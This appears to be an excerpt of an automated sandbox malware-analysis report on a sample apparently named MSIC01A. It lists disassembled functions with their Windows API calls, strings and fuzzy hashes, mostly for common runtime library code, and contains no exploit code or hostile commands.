Instruction Fuzzy Hash: BCC11335E002168BCF34AF24C81137AB7A1EF95B70F598459E889AB291E770CD82F7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00F6DE24 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F657CC: GetLastError.KERNEL32(?,00000008,00F6AD4C), ref: 00F657D0
Part of subcall function 00F657CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00F65872

GetACP.KERNEL32(?,?,?,?,?,?,00F642D9,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00F6DEE5
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00F642D9,?,?,?,00000055,?,-00000050,?,?), ref: 00F6DF10
_wcschr.LIBVCRUNTIME ref: 00F6DFA4
_wcschr.LIBVCRUNTIME ref: 00F6DFB2
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00F6E073

Strings

utf8, xrefs: 00F6DFE2

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: bdadae32460b93624daea2234373c4ec2ff8033dca0c055f8a0d2c694d515d51
Instruction ID: 895c7d7d596d377e7df42f00d88757584701475111c9f06b1bd77a1c3d8567df
Opcode Fuzzy Hash: bdadae32460b93624daea2234373c4ec2ff8033dca0c055f8a0d2c694d515d51
Instruction Fuzzy Hash: AB711476F00306AADB24AB74CC46BBB73A8EF54710F144429F906DB181EBB5E940B7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F33860 Relevance: 10.7, APIs: 7, Instructions: 227processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00F338CB
CloseHandle.KERNEL32(00000000), ref: 00F3390B
Process32FirstW.KERNEL32(?,00000000), ref: 00F3395F
OpenProcess.KERNEL32(00000410,00000000,?), ref: 00F3397A
CloseHandle.KERNEL32(00000000), ref: 00F33A8E
Process32NextW.KERNEL32(?,00000000), ref: 00F33AA2
CloseHandle.KERNEL32(?), ref: 00F33AF0

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: CloseHandle$Process32$CreateFirstNextOpenProcessSnapshotToolhelp32
String ID:
API String ID: 708755948-0
Opcode ID: b0318c1c989ff34d3047ce48bae127a2a285a2f1053fff4680c5acdf719242c9
Instruction ID: c7ade17b9d8160e54a59b59a50d27db97a946841b1d6cca9897436d56b690295
Opcode Fuzzy Hash: b0318c1c989ff34d3047ce48bae127a2a285a2f1053fff4680c5acdf719242c9
Instruction Fuzzy Hash: 3CA13BB1D01249DFDF10DFA8D988BDEBBF8BF48314F144159E805AB281D7785A44DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F6F032 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00F6F216

Strings

1#SNAN, xrefs: 00F6F13E
1#INF, xrefs: 00F6F168
1#QNAN, xrefs: 00F6F145
1#IND, xrefs: 00F6F137

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: b9dc25283c1903fe007068dbed81c78d065dc5c25247a3b995f97b1be4b54517
Instruction ID: 5764354e4cec2fca04e3094c2f423cc1a466dbc15dcb3f6f1c8f0c2d1660d0c5
Opcode Fuzzy Hash: b9dc25283c1903fe007068dbed81c78d065dc5c25247a3b995f97b1be4b54517
Instruction Fuzzy Hash: 0AD23A72E082298FDB65CF28DD407EAB7B5EB44315F1441EAD80DE7240DB78AE859F41

Uniqueness

Uniqueness Score: -1.00%

Function 00F6E5B3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00F6E8D1,00000002,00000000,?,?,?,00F6E8D1,?,00000000), ref: 00F6E64C
GetLocaleInfoW.KERNEL32(?,20001004,00F6E8D1,00000002,00000000,?,?,?,00F6E8D1,?,00000000), ref: 00F6E675
GetACP.KERNEL32(?,?,00F6E8D1,?,00000000), ref: 00F6E68A

Strings

OCP, xrefs: 00F6E607
ACP, xrefs: 00F6E5D1

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 8291b68b0c401bbb74f2384d76e54190d99d4d117e1e40c328a735c95b2f72e8
Instruction ID: 72c4d41202be0dce734e9351fc94b7378d3245af49913e5afb9bb0698f628b90
Opcode Fuzzy Hash: 8291b68b0c401bbb74f2384d76e54190d99d4d117e1e40c328a735c95b2f72e8
Instruction Fuzzy Hash: D221AC3BF20201AADB348F14C904B9773A6AB74B74B5A8464E90AD7111FB33DE41F791

Uniqueness

Uniqueness Score: -1.00%

Function 00F39CC0 Relevance: 7.9, APIs: 5, Instructions: 441COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00F39E60
LocalFree.KERNEL32(00000000), ref: 00F39EB7
_swprintf.LIBCMT ref: 00F3A0A0
LocalFree.KERNEL32(00000000), ref: 00F3A0F7
_swprintf.LIBCMT ref: 00F3A183

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: _swprintf$FreeLocal
String ID:
API String ID: 2429749586-0
Opcode ID: 7f43bd105ea24fdfac51ad8d481aeb0eea0d4d1c4c07bd5459bc0667e9c0faec
Instruction ID: 75d67f86ce2d40f9310e43e2b22f1a8f295e71eb05c9dcf7abf2a60f572d9ba2
Opcode Fuzzy Hash: 7f43bd105ea24fdfac51ad8d481aeb0eea0d4d1c4c07bd5459bc0667e9c0faec
Instruction Fuzzy Hash: 76F1BE71D04219AFDF19DFA8DC41BAEBBB5FF08320F144229F911A7280D7B5A941DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F6E788 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F657CC: GetLastError.KERNEL32(?,00000008,00F6AD4C), ref: 00F657D0
Part of subcall function 00F657CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00F65872

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00F6E894
IsValidCodePage.KERNEL32(00000000), ref: 00F6E8DD
IsValidLocale.KERNEL32(?,00000001), ref: 00F6E8EC
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00F6E934
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00F6E953

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: dada088d2f96faea6fa744cbe7ca5f96b2d751f6276822f7115e3bcde02ccbb7
Instruction ID: c0303c608ee64c13a7a42e931daa644f0d19da5afd7162a96162f0f0ad9e8c5f
Opcode Fuzzy Hash: dada088d2f96faea6fa744cbe7ca5f96b2d751f6276822f7115e3bcde02ccbb7
Instruction Fuzzy Hash: C1517E76E00209AFEB20EFB5CC45ABE73B8AF49710F144069E914E7190E7B49944EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F65D6D Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00F65DFA

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c088d6f79354faf8b1bce494a29b4de1bf964f76c3977490bbe1990304a04063
Instruction ID: 61d7d7eb227164e54688aeba2326475a250930e0601a2bf4cc9aaa9bed8636b2
Opcode Fuzzy Hash: c088d6f79354faf8b1bce494a29b4de1bf964f76c3977490bbe1990304a04063
Instruction Fuzzy Hash: 19B15672D04645AFDB15CF68C881BEEBBA5EF59310F14816AE804FB242D239DD01EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F533A8 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00F533B4
IsDebuggerPresent.KERNEL32 ref: 00F53480
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00F534A0
UnhandledExceptionFilter.KERNEL32(?), ref: 00F534AA

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 68dff0615bb75680bf9f5f992ccf45fa351fabff1ceffda194fd6f103f0c51de
Instruction ID: 524c7afd3037bd154dc8a8ca949bc6bb907ee943dd9ca2da538a3a1df190e33d
Opcode Fuzzy Hash: 68dff0615bb75680bf9f5f992ccf45fa351fabff1ceffda194fd6f103f0c51de
Instruction Fuzzy Hash: 66314975D0531C9BDB10EFA4DD89BCDBBB8AF08305F1040AAE50CAB250EB759B899F45

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D0A5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00F3C630: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,72A902E8,?,00F73D30,000000FF), ref: 00F3C657
Part of subcall function 00F3C630: GetLastError.KERNEL32(?,00000000,00000000,72A902E8,?,00F73D30,000000FF), ref: 00F3C661

IsDebuggerPresent.KERNEL32(?,?,00F88AF0), ref: 00F3D0D8
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,00F88AF0), ref: 00F3D0E7

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00F3D0E2

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: dc381ec7efab9c925ff37426d8ad44cdf2f2b11872b9025d8131d8941b3ec6c0
Instruction ID: bfcadaceaad7dc45005ddf5daa6423141c1f1bfed2cd23f06f479c3fbca70550
Opcode Fuzzy Hash: dc381ec7efab9c925ff37426d8ad44cdf2f2b11872b9025d8131d8941b3ec6c0
Instruction Fuzzy Hash: EFE09BB01187414FD324BF34E8047427BE4AF14720F00886DE459D2651DBB4D488EBA3

Uniqueness

Uniqueness Score: -1.00%

Function 00F6E237 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00F657CC: GetLastError.KERNEL32(?,00000008,00F6AD4C), ref: 00F657D0
Part of subcall function 00F657CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00F65872

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00F6E28B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00F6E2D5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00F6E39B

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 463d17204d394063bf0bd5c8efd46ac12dc5f8f4353d9ab505c2526a573ff893
Instruction ID: e64e9d01afc618eb613bd92592f4d42f6d10f1bed61e560c2bdc7508d3cb4d98
Opcode Fuzzy Hash: 463d17204d394063bf0bd5c8efd46ac12dc5f8f4353d9ab505c2526a573ff893
Instruction Fuzzy Hash: BD619E7A9102079FEB28DF28CC82BBA77A8EF14311F104179ED05C7285EB78D995EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F56E1B Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00F56F13
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00F56F1D
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00F56F2A

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a7b38f1ae563dc59d8b17739105a1bc0378e9439abb735733fed43cb2529b756
Instruction ID: d571078a2c3eeaa063c504e4f68ac653e246a0b113f236d03732f52babee6ba5
Opcode Fuzzy Hash: a7b38f1ae563dc59d8b17739105a1bc0378e9439abb735733fed43cb2529b756
Instruction Fuzzy Hash: 6C31D274D0122CABCB21DF68DD8978DBBB8AF08311F5041EAE91CA7290E7749B859F45

Uniqueness

Uniqueness Score: -1.00%

Function 00F345B0 Relevance: 4.6, APIs: 3, Instructions: 64COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(00000000,00000000,72A902E8,00000001,00000000,?,00000000,00F74460,000000FF,?,00F3474D,00F33778,?,00000000,00000000,?), ref: 00F345DB
LockResource.KERNEL32(00000000,?,00000000,00F74460,000000FF,?,00F3474D,00F33778,?,00000000,00000000,?,?,?,?,00F33778), ref: 00F345E6
SizeofResource.KERNEL32(00000000,00000000,?,00000000,00F74460,000000FF,?,00F3474D,00F33778,?,00000000,00000000,?,?,?), ref: 00F345F4

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: 1963a2753b14aed351c83e1bb305f06eae1e69f13be0c610b306c0066d0f631c
Instruction ID: 089788068f2cff7e507da65f31771bc4f0926189e41acd24acf59d87f6bb3800
Opcode Fuzzy Hash: 1963a2753b14aed351c83e1bb305f06eae1e69f13be0c610b306c0066d0f631c
Instruction Fuzzy Hash: 2C11C632E046589BC7359F59DC55B66F7FCE785735F00452AEC1AD3250EB35BC009690

Uniqueness

Uniqueness Score: -1.00%

Function 00F5E270 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3b8607f755f17a23646f2bf370a959f638319f8f7f89048cc653de111095432
Instruction ID: 38e9b64328072e31f60f3f8581d6a28a92afe0915ad9bda8fb339108800f693b
Opcode Fuzzy Hash: c3b8607f755f17a23646f2bf370a959f638319f8f7f89048cc653de111095432
Instruction Fuzzy Hash: 9DF14F75E002199FDF18CF68C9806ADBBB1FF98325F158269E915EB381D730AE05DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F67B1F Relevance: 1.9, APIs: 1, Instructions: 408timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00F67F64,00000000,00000000,00000000), ref: 00F67E23

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: InformationTimeZone
String ID:
API String ID: 565725191-0
Opcode ID: 37f2790e8954fcd10a80cd05a26a6be4383d9fc03aae74a9e1301627f457981f
Instruction ID: 3b78e7bc12ae1ab00268f03ffad6e164baebd6832a4a0b94cb3c86382bc8a2c0
Opcode Fuzzy Hash: 37f2790e8954fcd10a80cd05a26a6be4383d9fc03aae74a9e1301627f457981f
Instruction Fuzzy Hash: 38C10472D04315ABDB20BB64DC02ABEB7B9EF45768F254156F900EB291E7349E40F790

Uniqueness

Uniqueness Score: -1.00%

Function 00F684BD Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00F684B8,?,?,00000008,?,?,00F714E4,00000000), ref: 00F686EA

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 98bd787caaf085d8fe6267909a8f736e51c590cbb9e50626d0480eb58a7612e9
Instruction ID: 78d70959cb836676fff4aaf59ca2ea08e170cb6210759ec69b343e691376a4a0
Opcode Fuzzy Hash: 98bd787caaf085d8fe6267909a8f736e51c590cbb9e50626d0480eb58a7612e9
Instruction Fuzzy Hash: 84B14D32610605DFDB14CF28C486B657BA0FF453A4F29865CE99ACF2A1CB35ED92DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00F535A9 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00F535BF

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 7b79e03c034e45ec1bba1a204a0f6e05ddf28e902affe2ca975e36635ddce23f
Instruction ID: 3de8e7afebb82ed71178099fdce8dc48af59ffd538feb4babfd9894ce093413f
Opcode Fuzzy Hash: 7b79e03c034e45ec1bba1a204a0f6e05ddf28e902affe2ca975e36635ddce23f
Instruction Fuzzy Hash: FF51A5B2D14219DBDB15CF98E885BB9B7F0FB08395F14842AC905E7350D374AA04EF90

Uniqueness

Uniqueness Score: -1.00%

Function 00F6AF79 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9a159c4ef85b6c8d4d8c602aecef94e7db36e7d823af915d6e34e51654e27e2
Instruction ID: 0d938f08757f25fbc07199b381e041334b5c4069d99cfdfea2bfbebb8f24287b
Opcode Fuzzy Hash: f9a159c4ef85b6c8d4d8c602aecef94e7db36e7d823af915d6e34e51654e27e2
Instruction Fuzzy Hash: BF31A67690021DBFCB20EFA9CC859BBBB7DEB85350F144159F915D7244EA31DD409BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F5A587 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00F5A715

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: bd384aa7c1d0e7ff51b99a16a97775445a99553e6d81fb55e2e232814f0b0a7d
Instruction ID: da276b193f99ae273066fcd6037e0bb62ba975c9ea5342d0e334d7ee4b4729be
Opcode Fuzzy Hash: bd384aa7c1d0e7ff51b99a16a97775445a99553e6d81fb55e2e232814f0b0a7d
Instruction Fuzzy Hash: D9C1C2709006468FCB24CF28C494A7EBBB1BF05322F184719DE5697291D734ED6EEB52

Uniqueness

Uniqueness Score: -1.00%

Function 00F6E48A Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00F657CC: GetLastError.KERNEL32(?,00000008,00F6AD4C), ref: 00F657D0
Part of subcall function 00F657CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00F65872

